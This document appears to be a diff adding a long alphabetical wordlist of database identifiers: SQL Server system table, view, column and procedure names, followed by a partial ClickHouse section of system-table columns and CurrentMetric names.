+status_time +StatVersion +stdev_clr_time +stdev_cpu_time +stdev_dop +stdev_duration +stdev_log_bytes_used +stdev_logical_io_reads +stdev_logical_io_writes +stdev_num_physical_io_reads +stdev_page_server_io_reads +stdev_physical_io_reads +stdev_query_max_used_memory +stdev_query_wait_time_ms +stdev_rowcount +stdev_tempdb_space_used +stdev_time +step_count +step_id +step_index +step_name +step_number +steps +step_uid +stmt_end +stmt_start +stop_entry_point +stoplist_id +stoplistid +stop_time +stopword +storage_key +storage_pool_id +storage_pool_node_name +storage_space_used_mb +stream_id +string_delimiter +string_description +string_sid +strong_refcount +sub +subclass_name +subclass_value +subentity_name +subid +subid_push +subid_tran +subject +sublatch_address +submit_time +subobjid +subsystem +subsystem_dll +subsystem_id +succeeded +success +Success +sumsquare_clr_time +sumsquare_cpu_time +sumsquare_dop +sumsquare_duration +sumsquare_log_bytes_used +sumsquare_logical_io_reads +sumsquare_logical_io_writes +sumsquare_num_physical_io_reads +sumsquare_page_server_io_reads +sumsquare_physical_io_reads +sumsquare_query_max_used_memory +sumsquare_query_wait_time_ms +sumsquare_rowcount +sumsquare_tempdb_space_used +superlatch_address +supports_alternate_streams +supports_compression +supports_sparse_files +suppress_dup_key_messages +survived_memory_kb +suspend_reason +suspend_reason_desc +svcbrkrguid +svccontr +svcid +sweep_rows_expired +sweep_rows_expired_removed +sweep_rows_expiring +sweep_rows_touched +sweep_scan_retries +sweep_scans_started +symbol_space +symbol_space_desc +symmetric_key_export +symmetric_key_id +symmetric_key_import +symmetric_key_persistance +symmetric_keys +symmetric_key_support +symspace +sync_action +synchronization_health +synchronization_health_desc +synchronization_state +synchronization_state_desc +sync_id +sync_reason +sync_result +synonyms +sysadmin +sysallocunits +sysaltfiles +sysasymkeys +sysaudacts +sysbinobjs +sysbinsubobjs +sysbrickfiles +syscacheobjects +syscerts +syscharsets +syschildinsts +sysclones +sysclsobjs +syscolpars +syscolumns +syscomments +syscommittab +syscompfragments +sysconfigures +sysconstraints +sysconvgroup +syscscolsegments +syscscontainers +syscsdictionaries +syscsrowgroups +syscurconfigs +syscursorcolumns +syscursorrefs +syscursors +syscursortables +sysdatabases +sysdbfiles +sysdbfrag +sysdbpath +sysdbreg +sysdepends +sysdercv +sysdesend +sysdevices +sysendpts +sysextendedrecoveryforks +sysextfileformats +sysextsources +sysexttables +sysfgfrag +sysfilegroups +sysfiles +sysfiles1 +sysfoqueues +sysforeignkeys +sysfos +sysftinds +sysftproperties +sysftsemanticsdb +sysftstops +sysfulltextcatalogs +sysguidrefs +sysidxstats +sysindexes +sysindexkeys +sysiscols +syslanguages +syslnklgns +syslockinfo +syslogins +syslogshippers +sysmatrixageforget +sysmatrixages +sysmatrixbricks +sysmatrixconfig +sysmatrixmanagers +sysmembers +sysmessages +sysmultiobjrefs +sysmultiobjvalues +sysname +sysnsobjs +sysobjects +sysobjkeycrypts +sysobjvalues +sysoledbusers +sysopentapes +sysowners +sysperfinfo +syspermissions +sysphfg +syspriorities +sysprivs +sysprocesses +sysprotects +syspru +sysprufiles +sysqnames +sysreferences +sysremotelogins +sysremsvcbinds +sysrmtlgns +sysrowsetrefs +sysrowsets +sysrscols +sysrts +sysscalartypes +sysschobjs +sysseobjvalues +sysseq +sysservers +syssingleobjrefs +syssoftobjrefs +syssqlguides +sysstat +system +system_aborts +system_cache_kb +system_columns +system_components_surface_area_configuration +system_high_memory_signal_state +system_internals_allocation_units +system_internals_partition_columns +system_internals_partitions +system_lookups +system_low_memory_signal_state +system_memory_state_desc +system_objects +system_parameters +system_scans +system_seeks +system_sequence +system_sql_modules +system_time_cs +system_type_id +system_type_name +system_updates +system_views +systypedsubobjs +systypes +sysusermsgs +sysusers +syswebmethods +sysxlgns +sysxmitbody +sysxmitqueue +sysxmlcomponent +sysxmlfacet +sysxmlplacement +sysxprops +sysxsrvs +tabid +table_address +table_alter_failures +table_alter_successes +TABLE_CATALOG +TABLE_CONSTRAINTS +table_create_failures +table_create_not_eligible +table_create_successes +table_directory_name +table_drop_failures +table_drop_successes +table_hashes +table_id +table_level +table_name +TABLE_NAME +table_owner +TABLE_PRIVILEGES +tables +TABLES +TABLE_SCHEMA +tables_in_source +tables_to_alter +tables_to_create +tables_to_drop +TABLE_TYPE +table_types +tabname +tabschema +tag +tail_cache_max_page_count +tail_cache_min_needed_lsn +tail_cache_page_count +tape_operation +tape_operation_desc +target +target_allocations_kb +target_data +target_database_principal_id +target_database_principal_name +target_id +target_kb +TargetLoginName +TargetLoginSid +target_memory_kb +target_name +target_object_id +target_package_guid +target_private_pool_size +target_recovery_time_in_seconds +target_schema_name +target_server_principal_id +target_server_principal_name +target_server_principal_sid +target_table_name +target_type +TargetUserName +task_address +task_bound_ms_ticks +task_id +task_memory_object_address +task_proxy_address +task_retries +tasks_processed_count +task_state +task_state_desc +tasks_waiting +task_type +task_type_desc +tbl_server_resource_stats +tcp_endpoints +tdefault +tdscollation +temporal_type +temporal_type_desc +tessellation_scheme +text +TextData +textinfo_address +text_in_row_limit +TextPtr +text_size +texttype +tgid +thread_address +thread_count +thread_handle +thread_id +thread_type +thread_type_desc +threshold +threshold_factor +thumbprint +ti +ticks_at_cycle_end +ticks_at_cycle_start +time +time_consumed +timelimit +timeout +timeout_error_count +timeout_sec +time_queued +timer_task_affinity_mask +time_since_last_close_in_ms +time_since_last_use +time_source +time_source_desc +timestamp +TimeStamp +timestamp_utc +time_to_generate +time_to_live +time_utc +time_zone +time_zone_info +tinyint +tinyprop +tinyprop1 +tinyprop2 +tinyprop3 +tinyprop4 +tobrkrinst +to_broker_instance +token +to_object_id +topologyx +topologyy +to_service_name +tosvc +total_aborts +total_actions_scheduled +total_allocated_memory_kb +total_bind_cpu_time +total_bind_duration +total_bucket_count +total_buffer_size +total_bytes +total_bytes_generated +total_bytes_received +total_bytes_sent +total_cache_misses +total_cell_count +total_clr_time +total_columnstore_segment_reads +total_columnstore_segment_skips +total_compile_duration +total_compile_memory_kb +total_count +total_cpu_active_ms +total_cpu_delayed_ms +total_cpu_idle_capped_ms +total_cpu_kernel_ms +total_cpu_limit_violation_count +total_cpu_time +total_cpu_usage +total_cpu_usage_ms +total_cpu_usage_preemptive_ms +total_cpu_user_ms +total_cpu_violation_delay_ms +total_cpu_violation_sec +total_dequeues +total_disk_io_wait_time_ms +total_disk_reads +total_dop +total_duration +total_elapsed_time +total_elapsed_time_ms +total_enqueues +total_errors +total_evicted_session_count +total_execution_time +total_forks_cnt +total_fragments_received +total_fragments_sent +total_grant_kb +total_ideal_grant_kb +total_inrow_version_payload_size_in_bytes +total_kb +total_kernel_time +total_large_buffers +total_lock_wait_count +total_lock_wait_time_ms +total_log_bytes_used +total_logical_io_reads +total_logical_io_writes +total_logical_reads +total_logical_writes +total_log_size_in_bytes +total_log_size_mb +total_memgrant_count +total_memgrant_timeout_count +total_memory_kb +total_network_wait_time_ms +total_num_page_server_reads +total_num_physical_io_reads +total_num_physical_reads +total_operation_count +total_optimize_cpu_time +total_optimize_duration +total_overlap +total_page_count +total_page_file_kb +total_pages +total_page_server_io_reads +total_page_server_reads +total_parse_cpu_time +total_parse_duration +total_physical_io_reads +total_physical_memory_kb +total_physical_reads +total_poor_row_groups_analyzed +total_processor_elapsed_time +total_processor_time_ms +total_query_max_used_memory +total_query_optimization_count +total_query_wait_time_ms +total_queued_request_count +total_read +total_receives +total_reduced_memgrant_count +total_regular_buffers +total_request_count +total_request_execution_timeouts +total_requests +total_reserved_threads +total_resource_grant_timeouts +total_rowcount +total_row_groups_analyzed +total_rows +total_rows_analyzed +total_scheduled_time +total_scheduler_delay_ms +total_sends +total_sessions +total_shared_resource_requests +total_size +total_spills +total_suboptimal_plan_generation_count +total_target_memory +total_tempdb_space_used +total_used_grant_kb +total_used_threads +total_user_elapsed_time +total_user_time +total_virtual_address_space_kb +total_vlf_count +total_wait_time_in_ms +total_worker_time +total_write +totcpu +totio +trace_categories +trace_column_id +trace_columns +trace_event_bindings +trace_event_id +trace_events +traceid +traces +trace_subclass_values +trace_xe_action_map +trace_xe_event_map +track_causality +tran_count +transaction_begin_time +transaction_description +transaction_descriptor +transaction_diag_status +transaction_id +TransactionID +transaction_isolation_level +transaction_is_snapshot +transaction_manager_database_id +transaction_manager_database_name +transaction_manager_dbid +transaction_manager_rmid +transaction_manager_server_name +transaction_ordinal +transaction_phase_1_time +transaction_phase_2_time +transaction_sequence_num +transactions_root_hash +transaction_state +transaction_status +transaction_status2 +transaction_timeout +transaction_total_time +transaction_type +transaction_uow +transfer_rate_bytes_per_second +transferred_size_bytes +transition_to_compressed_state +transition_to_compressed_state_desc +transmission_queue +transmission_status +transport_stream_id +tree_page_io_latch_wait_count +tree_page_io_latch_wait_in_ms +tree_page_latch_wait_count +tree_page_latch_wait_in_ms +trigger_events +trigger_event_types +triggers +trim_reason +trim_reason_desc +truncate_point +truncation_lsn +_trusted_assemblies +trusted_assemblies +ts +tsql_stack +tstat +two_digit_year_cutoff +tx_bytes +tx_carrier +tx_collisions +tx_compressed +tx_drop +tx_end_timestamp +tx_errors +tx_fifo +txn_tag +txn_type +tx_packets +tx_segments_dispatched_count +type +Type +type_assembly_usages +type_column_id +type_desc +typeint +type_name +type_package_guid +types +type_size +typestat +type_table_object_id +TYPE_UDT_CATALOG +TYPE_UDT_NAME +TYPE_UDT_SCHEMA +UDT_CATALOG +UDT_NAME +UDT_SCHEMA +uid +unackmfn +unallocated_extent_page_count +unfiltered_rows +unique_compiles +UNIQUE_CONSTRAINT_CATALOG +UNIQUE_CONSTRAINT_NAME +UNIQUE_CONSTRAINT_SCHEMA +unique_constraint_violations +uniqueidentifier +unique_index_id +unit_conversion_factor +unit_of_measure +unit_of_work +unsuccessful_logons +updadd +updatedate +updated_last_round_count +update_referential_action +update_referential_action_desc +UPDATE_RULE +update_time +updmod +updtrig +upgrade +upgrade_start_level +upgrade_target_level +upper_bound_tsn +uptime_secs +uri +uriord +url_path +usage +use_count +usecounts +used +used_bytes +used_log_space_in_bytes +used_log_space_in_percent +used_memgrant_kb +used_memory_kb +used_page_count +used_pages +used_worker_count +use_identity +user_access +user_access_desc +user_created +user_defined_event_id +user_defined_information +USER_DEFINED_TYPE_CATALOG +USER_DEFINED_TYPE_NAME +USER_DEFINED_TYPE_SCHEMA +useremotecollation +user_id +user_lookups +usermode_time +user_name +username +user_object_reserved_page_count +user_objects_alloc_page_count +user_objects_dealloc_page_count +user_objects_deferred_dealloc_page_count +user_scans +user_seeks +userstat +user_time +user_time_cs +user_token +usertype +user_type_database +user_type_id +user_type_name +user_type_schema +user_updates +uses_ansi_nulls +uses_database_collation +uses_key_normalization +uses_native_compilation +uses_quoted_identifier +uses_remote_collation +uses_self_credential +use_type_default +using_xml_index_id +utype +valclass +validation +validation_desc +validation_failures +valid_since +valnum +value +value_data +value_for_secondary +value_in_use +value_name +value_of_memory +varbinary +varchar +variable +VerboseLogging +version +version_generated_inrow +version_generated_offrow +version_ghost_record_count +version_record_count +version_sequence_num +version_store_reserved_page_count +via_endpoints +VIEW_CATALOG +VIEW_COLUMN_USAGE +VIEW_DEFINITION +VIEW_NAME +views +VIEWS +VIEW_SCHEMA +VIEW_TABLE_USAGE +virtual_address_space_available_kb +virtual_address_space_committed_kb +virtual_address_space_reserved_kb +virtual_bytes +virtual_bytes_peak +virtual_core_count +virtual_machine_type +virtual_machine_type_desc +virtual_memory_committed_kb +virtual_memory_kb +virtual_memory_reserved_kb +visible_target_kb +vlf_active +vlf_begin_offset +vlf_create_lsn +vlf_encryptor_thumbprint +vlf_first_lsn +vlf_parity +vlf_sequence_number +vlf_size_mb +vlf_status +vm_metric_name +volume_id +volume_mount_point +volume_name +vstart +wait_category +wait_category_desc +wait_duration +wait_duration_ms +waiter_count +wait_id +waiting_requests_count +waiting_task_address +waiting_tasks_count +waiting_threads_count +wait_name +wait_order +wait_reason +wait_resource +waitresource +wait_resumed_ms_ticks +waits_for_io_count +waits_for_new_log_count +wait_started_ms_ticks +wait_stats_capture_mode +wait_stats_capture_mode_desc +wait_stats_id +wait_time +waittime +wait_time_before_idle +wait_time_ms +wait_type +waittype +warm_cold_check_ticks +warm_count +weak_refcount +weight +weighted_io_time_ms +well_known_text +windows_release +windows_service_pack_level +windows_sku +with_check_option +witnesssequence +worker_address +worker_count +worker_created_ms_ticks +worker_migration_count +worker_time +work_id +working_set +workingset_limit_mb +working_set_peak +working_set_private +workitem_type +workitem_version +work_queue_count +workspace_name +write_access +write_bytes_total +write_conflicts +write_count +write_io_completed_total +write_io_count +write_io_issued_total +write_io_queued_total +write_io_stall_queued_ms +write_io_stall_total_ms +write_io_throttled_total +write_lease_remaining_ticks +write_operation_count +write_page_count +writes +Writes +writes_completed +write_set_row_count +writes_merged +write_time +write_time_ms +write_version +wsdl_generator_procedure +wsdlproc +wszArtdelcmd +wszArtdesttable +wszArtdesttableowner +wszArtinscmd +wszArtpartialupdcmd +wszArtupdcmd +xacts_copied_to_local +XactSequence +xacts_in_gen_0 +xacts_in_gen_1 +xacts_in_gen_10 +xacts_in_gen_11 +xacts_in_gen_12 +xacts_in_gen_13 +xacts_in_gen_14 +xacts_in_gen_15 +xacts_in_gen_2 +xacts_in_gen_3 +xacts_in_gen_4 +xacts_in_gen_5 +xacts_in_gen_6 +xacts_in_gen_7 +xacts_in_gen_8 +xacts_in_gen_9 +xdes_id +xdesid +xdes_ts_push +xdes_ts_tran +xdttm_ins +xdttm_last_ins_upd +xe_action_name +xe_event_name +xfallback_dbid +xfallback_drive +xfallback_low +xfallback_vstart +xmaxlen +xml +xml_collection_database +xml_collection_id +xml_collection_name +xml_collection_schema +xml_component_id +xml_data +xml_indexes +xml_index_type +xml_index_type_description +xml_namespace_id +xmlns +xml_schema_attributes +xml_schema_collections +xml_schema_component_placements +xml_schema_components +xml_schema_elements +xml_schema_facets +xml_schema_model_groups +xml_schema_namespaces +xml_schema_types +xml_schema_wildcard_namespaces +xml_schema_wildcards +xoffset +xp_availablemedia +xp_cmdshell +xp_copy_file +xp_copy_files +xp_create_subdir +xp_delete_file +xp_delete_files +xp_dirtree +xp_enumerrorlogs +xp_enumgroups +xp_enum_oledb_providers +xp_fileexist +xp_fixeddrives +xp_getnetname +xp_get_tape_devices +xp_grantlogin +xp_instance_regaddmultistring +xp_instance_regdeletekey +xp_instance_regdeletevalue +xp_instance_regenumkeys +xp_instance_regenumvalues +xp_instance_regread +xp_instance_regremovemultistring +xp_instance_regwrite +xp_logevent +xp_loginconfig +xp_logininfo +xp_msver +xp_msx_enlist +xp_passAgentInfo +xp_prop_oledb_provider +xp_qv +xp_readerrorlog +xprec +xp_regaddmultistring +xp_regdeletekey +xp_regdeletevalue +xp_regenumkeys +xp_regenumvalues +xp_regread +xp_regremovemultistring +xp_regwrite +xp_repl_convert_encrypt_sysadmin_wrapper +xp_replposteor +xp_revokelogin +xp_servicecontrol +xp_sprintf +xp_sqlagent_enum_jobs +xp_sqlagent_is_starting +xp_sqlagent_monitor +xp_sqlagent_notify +xp_sqlagent_param +xp_sqlmaint +xp_sscanf +xp_subdirs +xp_sysmail_activate +xp_sysmail_attachment_load +xp_sysmail_format_query +xquery_max_length +xquery_type_description +xscale +xsdid +xserver_name +xtp_address +xtp_description +xtp_log_bytes_consumed +xtp_object_id +xtp_parent_transaction_id +xtp_parent_transaction_node_id +xtp_transaction_id +xtype +xusertype +yield_count +zone_type + +[ClickHouse] +absolute_delay +access_object +access_type +active +active_children +active_on_fly_alter_mutations +active_on_fly_data_mutations +active_on_fly_metadata_mutations +active_parts +active_replicas +additional_format_info +address +address_begin +address_end +age +aggregate_function_combinators +aliases +alias_for +alias_to +allocations +allow_dynamic_cache_resize +allow_readonly +alnum +alphabetic +alterable +apply_to_all +apply_to_except +apply_to_list +arguments +ascii_hex_digit +as_select +asynchronous_inserts +asynchronous_loader +asynchronous_metric_log +asynchronous_metrics +asynchronous_read_counters +authenticated_user +auth_params +auth_type +azure_queue +azure_queue_settings +background_download_max_file_segment_size +background_download_queue_size_limit +background_download_threads +background_schedule_pool +background_schedule_pool_log +backups +base_backup_name +basic_emoji +belongs +bidi_class +bidi_control +bidi_mirrored +bidi_mirroring_glyph +bidi_paired_bracket +bidi_paired_bracket_type +blank +block +boundary_alignment +broken_data_compressed_bytes +broken_data_files +budget +build_id +build_options +busy_periods +bypass_cache_threshold +bytes +bytes_allocated +bytes_on_disk +bytes_read +bytes_read_compressed +bytes_read_uncompressed +bytes_uncompressed +bytes_written_uncompressed +cache_base_path +cached_at +cache_hits +cache_hits_threshold +cache_name +cache_on_write_operations +cache_path +cache_paths +cache_policy +can_become_leader +canceled_cost +canceled_requests +canonical_combining_class +cardinality +CARDINALITY +cased +case_folding +case_ignorable +case_insensitive +case_sensitive +catalog_name +CATALOG_NAME +categories +certificates +changeable_without_restart +changed +changes +changes_when_casefolded +changes_when_casemapped +changes_when_lowercased +changes_when_nfkc_casefolded +changes_when_titlecased +changes_when_uppercased +character_maximum_length +CHARACTER_MAXIMUM_LENGTH +character_octet_length +CHARACTER_OCTET_LENGTH +character_set_catalog +CHARACTER_SET_CATALOG +character_set_name +CHARACTER_SET_NAME +character_sets +CHARACTER_SETS +character_set_schema +CHARACTER_SET_SCHEMA +check_option +CHECK_OPTION +client_hostname +client_name +client_revision +client_version_major +client_version_minor +client_version_patch +cluster +clusters +code +codecs +code_point +code_point_value +collation +COLLATION +collation_catalog +COLLATION_CATALOG +collation_name +COLLATION_NAME +collations +COLLATIONS +collation_schema +COLLATION_SCHEMA +collection +column +column_bytes_on_disk +column_comment +COLUMN_COMMENT +column_data_compressed_bytes +column_data_uncompressed_bytes +column_default +COLUMN_DEFAULT +column_marks_bytes +column_modification_time +column_name +COLUMN_NAME +column_position +columns +COLUMNS +columns_descriptions_cache_size +columns_version +columns_written +column_ttl_max +column_ttl_min +column_type +COLUMN_TYPE +command +comment +COMMENT +common_prefix_for_blobs +completions +compressed +compressed_size +compression_codec +condition +condition_hash +config_name +constraint_catalog +CONSTRAINT_CATALOG +constraint_name +CONSTRAINT_NAME +constraint_schema +CONSTRAINT_SCHEMA +consumer_id +content_type +context +contributors +cpu_id +create_query +create_table_query +create_time +creation_csn +creation_tid +current_database +current_elements_num +CurrentMetric_ActiveTimersInQueryProfiler +CurrentMetric_AddressesActive +CurrentMetric_AddressesBanned +CurrentMetric_AggregatorThreads +CurrentMetric_AggregatorThreadsActive +CurrentMetric_AggregatorThreadsScheduled +CurrentMetric_AsynchronousInsertQueueBytes +CurrentMetric_AsynchronousInsertQueueSize +CurrentMetric_AsynchronousInsertThreads +CurrentMetric_AsynchronousInsertThreadsActive +CurrentMetric_AsynchronousInsertThreadsScheduled +CurrentMetric_AsynchronousReadWait +CurrentMetric_AsyncInsertCacheSize +CurrentMetric_AttachedDatabase +CurrentMetric_AttachedDictionary +CurrentMetric_AttachedReplicatedTable +CurrentMetric_AttachedTable +CurrentMetric_AttachedView +CurrentMetric_AvroSchemaCacheBytes +CurrentMetric_AvroSchemaCacheCells +CurrentMetric_AvroSchemaRegistryCacheBytes +CurrentMetric_AvroSchemaRegistryCacheCells +CurrentMetric_AzureRequests +CurrentMetric_BackgroundBufferFlushSchedulePoolSize +CurrentMetric_BackgroundBufferFlushSchedulePoolTask +CurrentMetric_BackgroundCommonPoolSize +CurrentMetric_BackgroundCommonPoolTask +CurrentMetric_BackgroundDistributedSchedulePoolSize +CurrentMetric_BackgroundDistributedSchedulePoolTask +CurrentMetric_BackgroundFetchesPoolSize +CurrentMetric_BackgroundFetchesPoolTask +CurrentMetric_BackgroundMergesAndMutationsPoolSize +CurrentMetric_BackgroundMergesAndMutationsPoolTask +CurrentMetric_BackgroundMessageBrokerSchedulePoolSize +CurrentMetric_BackgroundMessageBrokerSchedulePoolTask +CurrentMetric_BackgroundMovePoolSize +CurrentMetric_BackgroundMovePoolTask +CurrentMetric_BackgroundSchedulePoolSize +CurrentMetric_BackgroundSchedulePoolTask +CurrentMetric_BackupsIOThreads +CurrentMetric_BackupsIOThreadsActive +CurrentMetric_BackupsIOThreadsScheduled +CurrentMetric_BackupsThreads +CurrentMetric_BackupsThreadsActive +CurrentMetric_BackupsThreadsScheduled +CurrentMetric_BcryptCacheBytes +CurrentMetric_BcryptCacheSize +CurrentMetric_BrokenDisks +CurrentMetric_BrokenDistributedBytesToInsert +CurrentMetric_BrokenDistributedFilesToInsert +CurrentMetric_BuildVectorSimilarityIndexThreads +CurrentMetric_BuildVectorSimilarityIndexThreadsActive +CurrentMetric_BuildVectorSimilarityIndexThreadsScheduled +CurrentMetric_CacheDetachedFileSegments +CurrentMetric_CacheDictionaryThreads +CurrentMetric_CacheDictionaryThreadsActive +CurrentMetric_CacheDictionaryThreadsScheduled +CurrentMetric_CacheDictionaryUpdateQueueBatches +CurrentMetric_CacheDictionaryUpdateQueueKeys +CurrentMetric_CacheFileSegments +CurrentMetric_CacheWarmerBytesInProgress +CurrentMetric_ColumnsDescriptionsCacheSize +CurrentMetric_CompiledExpressionCacheBytes +CurrentMetric_CompiledExpressionCacheCount +CurrentMetric_Compressing +CurrentMetric_CompressionThread +CurrentMetric_CompressionThreadActive +CurrentMetric_CompressionThreadScheduled +CurrentMetric_ConcurrencyControlAcquired +CurrentMetric_ConcurrencyControlAcquiredNonCompeting +CurrentMetric_ConcurrencyControlPreempted +CurrentMetric_ConcurrencyControlScheduled +CurrentMetric_ConcurrencyControlSoftLimit +CurrentMetric_ConcurrentHashJoinPoolThreads +CurrentMetric_ConcurrentHashJoinPoolThreadsActive +CurrentMetric_ConcurrentHashJoinPoolThreadsScheduled +CurrentMetric_ConcurrentQueryAcquired +CurrentMetric_ConcurrentQueryScheduled +CurrentMetric_ContextLockWait +CurrentMetric_CoordinatedMergesCoordinatorAssignedMerges +CurrentMetric_CoordinatedMergesCoordinatorRunningMerges +CurrentMetric_CoordinatedMergesWorkerAssignedMerges +CurrentMetric_CreatedTimersInQueryProfiler +CurrentMetric_DatabaseBackupThreads +CurrentMetric_DatabaseBackupThreadsActive +CurrentMetric_DatabaseBackupThreadsScheduled +CurrentMetric_DatabaseCatalogThreads +CurrentMetric_DatabaseCatalogThreadsActive +CurrentMetric_DatabaseCatalogThreadsScheduled +CurrentMetric_DatabaseOnDiskThreads +CurrentMetric_DatabaseOnDiskThreadsActive +CurrentMetric_DatabaseOnDiskThreadsScheduled +CurrentMetric_DatabaseReplicatedCreateTablesThreads +CurrentMetric_DatabaseReplicatedCreateTablesThreadsActive +CurrentMetric_DatabaseReplicatedCreateTablesThreadsScheduled +CurrentMetric_DDLWorkerThreads +CurrentMetric_DDLWorkerThreadsActive +CurrentMetric_DDLWorkerThreadsScheduled +CurrentMetric_Decompressing +CurrentMetric_DelayedInserts +CurrentMetric_DestroyAggregatesThreads +CurrentMetric_DestroyAggregatesThreadsActive +CurrentMetric_DestroyAggregatesThreadsScheduled +CurrentMetric_DictCacheRequests +CurrentMetric_DiskConnectionsStored +CurrentMetric_DiskConnectionsTotal +CurrentMetric_DiskObjectStorageAsyncThreads +CurrentMetric_DiskObjectStorageAsyncThreadsActive +CurrentMetric_DiskPlainRewritableAzureDirectoryMapSize +CurrentMetric_DiskPlainRewritableAzureFileCount +CurrentMetric_DiskPlainRewritableLocalDirectoryMapSize +CurrentMetric_DiskPlainRewritableLocalFileCount +CurrentMetric_DiskPlainRewritableS3DirectoryMapSize +CurrentMetric_DiskPlainRewritableS3FileCount +CurrentMetric_DiskS3NoSuchKeyErrors +CurrentMetric_DiskSpaceReservedForMerge +CurrentMetric_DistrCacheAllocatedConnections +CurrentMetric_DistrCacheBorrowedConnections +CurrentMetric_DistrCacheOpenedConnections +CurrentMetric_DistrCacheReadBuffers +CurrentMetric_DistrCacheReadRequests +CurrentMetric_DistrCacheRegisteredServers +CurrentMetric_DistrCacheRegisteredServersCurrentAZ +CurrentMetric_DistrCacheServerConnections +CurrentMetric_DistrCacheServerRegistryConnections +CurrentMetric_DistrCacheServerS3CachedClients +CurrentMetric_DistrCacheSharedLimitCount +CurrentMetric_DistrCacheUsedConnections +CurrentMetric_DistrCacheWriteBuffers +CurrentMetric_DistrCacheWriteRequests +CurrentMetric_DistributedBytesToInsert +CurrentMetric_DistributedFilesToInsert +CurrentMetric_DistributedInsertThreads +CurrentMetric_DistributedInsertThreadsActive +CurrentMetric_DistributedInsertThreadsScheduled +CurrentMetric_DistributedSend +CurrentMetric_DNSAddressesCacheBytes +CurrentMetric_DNSAddressesCacheSize +CurrentMetric_DNSHostsCacheBytes +CurrentMetric_DNSHostsCacheSize +CurrentMetric_DropDistributedCacheThreads +CurrentMetric_DropDistributedCacheThreadsActive +CurrentMetric_DropDistributedCacheThreadsScheduled +CurrentMetric_EphemeralNode +CurrentMetric_FilesystemCacheDelayedCleanupElements +CurrentMetric_FilesystemCacheDownloadQueueElements +CurrentMetric_FilesystemCacheElements +CurrentMetric_FilesystemCacheHoldFileSegments +CurrentMetric_FilesystemCacheKeys +CurrentMetric_FilesystemCacheReadBuffers +CurrentMetric_FilesystemCacheReserveThreads +CurrentMetric_FilesystemCacheSize +CurrentMetric_FilesystemCacheSizeLimit +CurrentMetric_FilteringMarksWithPrimaryKey +CurrentMetric_FilteringMarksWithSecondaryKeys +CurrentMetric_FormatParsingThreads +CurrentMetric_FormatParsingThreadsActive +CurrentMetric_FormatParsingThreadsScheduled +CurrentMetric_FreezePartThreads +CurrentMetric_FreezePartThreadsActive +CurrentMetric_FreezePartThreadsScheduled +CurrentMetric_GlobalThread +CurrentMetric_GlobalThreadActive +CurrentMetric_GlobalThreadScheduled +CurrentMetric_HashedDictionaryThreads +CurrentMetric_HashedDictionaryThreadsActive +CurrentMetric_HashedDictionaryThreadsScheduled +CurrentMetric_HiveFilesCacheBytes +CurrentMetric_HiveFilesCacheFiles +CurrentMetric_HiveMetadataFilesCacheBytes +CurrentMetric_HiveMetadataFilesCacheFiles +CurrentMetric_HTTPConnection +CurrentMetric_HTTPConnectionsStored +CurrentMetric_HTTPConnectionsTotal +CurrentMetric_IcebergCatalogThreads +CurrentMetric_IcebergCatalogThreadsActive +CurrentMetric_IcebergCatalogThreadsScheduled +CurrentMetric_IcebergMetadataFilesCacheBytes +CurrentMetric_IcebergMetadataFilesCacheFiles +CurrentMetric_IDiskCopierThreads +CurrentMetric_IDiskCopierThreadsActive +CurrentMetric_IDiskCopierThreadsScheduled +CurrentMetric_IndexMarkCacheBytes +CurrentMetric_IndexMarkCacheFiles +CurrentMetric_IndexUncompressedCacheBytes +CurrentMetric_IndexUncompressedCacheCells +CurrentMetric_InterserverConnection +CurrentMetric_IOPrefetchThreads +CurrentMetric_IOPrefetchThreadsActive +CurrentMetric_IOPrefetchThreadsScheduled +CurrentMetric_IOThreads +CurrentMetric_IOThreadsActive +CurrentMetric_IOThreadsScheduled +CurrentMetric_IOUringInFlightEvents +CurrentMetric_IOUringPendingEvents +CurrentMetric_IOWriterThreads +CurrentMetric_IOWriterThreadsActive +CurrentMetric_IOWriterThreadsScheduled +CurrentMetric_IsServerShuttingDown +CurrentMetric_KafkaAssignedPartitions +CurrentMetric_KafkaBackgroundReads +CurrentMetric_KafkaConsumers +CurrentMetric_KafkaConsumersInUse +CurrentMetric_KafkaConsumersWithAssignment +CurrentMetric_KafkaLibrdkafkaThreads +CurrentMetric_KafkaProducers +CurrentMetric_KafkaWrites +CurrentMetric_KeeperAliveConnections +CurrentMetric_KeeperOutstandingRequests +CurrentMetric_LicenseRemainingSeconds +CurrentMetric_LocalThread +CurrentMetric_LocalThreadActive +CurrentMetric_LocalThreadScheduled +CurrentMetric_MarkCacheBytes +CurrentMetric_MarkCacheFiles +CurrentMetric_MarksLoaderThreads +CurrentMetric_MarksLoaderThreadsActive +CurrentMetric_MarksLoaderThreadsScheduled +CurrentMetric_MaxDDLEntryID +CurrentMetric_MaxPushedDDLEntryID +CurrentMetric_MemoryTracking +CurrentMetric_MemoryTrackingUncorrected +CurrentMetric_Merge +CurrentMetric_MergeJoinBlocksCacheBytes +CurrentMetric_MergeJoinBlocksCacheCount +CurrentMetric_MergeParts +CurrentMetric_MergesMutationsMemoryTracking +CurrentMetric_MergeTreeAllRangesAnnouncementsSent +CurrentMetric_MergeTreeBackgroundExecutorThreads +CurrentMetric_MergeTreeBackgroundExecutorThreadsActive +CurrentMetric_MergeTreeBackgroundExecutorThreadsScheduled +CurrentMetric_MergeTreeDataSelectExecutorThreads +CurrentMetric_MergeTreeDataSelectExecutorThreadsActive +CurrentMetric_MergeTreeDataSelectExecutorThreadsScheduled +CurrentMetric_MergeTreeFetchPartitionThreads +CurrentMetric_MergeTreeFetchPartitionThreadsActive +CurrentMetric_MergeTreeFetchPartitionThreadsScheduled +CurrentMetric_MergeTreeOutdatedPartsLoaderThreads +CurrentMetric_MergeTreeOutdatedPartsLoaderThreadsActive +CurrentMetric_MergeTreeOutdatedPartsLoaderThreadsScheduled +CurrentMetric_MergeTreePartsCleanerThreads +CurrentMetric_MergeTreePartsCleanerThreadsActive +CurrentMetric_MergeTreePartsCleanerThreadsScheduled +CurrentMetric_MergeTreePartsLoaderThreads +CurrentMetric_MergeTreePartsLoaderThreadsActive +CurrentMetric_MergeTreePartsLoaderThreadsScheduled +CurrentMetric_MergeTreeReadTaskRequestsSent +CurrentMetric_MergeTreeSubcolumnsReaderThreads +CurrentMetric_MergeTreeSubcolumnsReaderThreadsActive +CurrentMetric_MergeTreeSubcolumnsReaderThreadsScheduled +CurrentMetric_MergeTreeUnexpectedPartsLoaderThreads +CurrentMetric_MergeTreeUnexpectedPartsLoaderThreadsActive +CurrentMetric_MergeTreeUnexpectedPartsLoaderThreadsScheduled +CurrentMetric_MetadataFromKeeperCacheObjects +CurrentMetric_MMapCacheCells +CurrentMetric_MMappedFileBytes 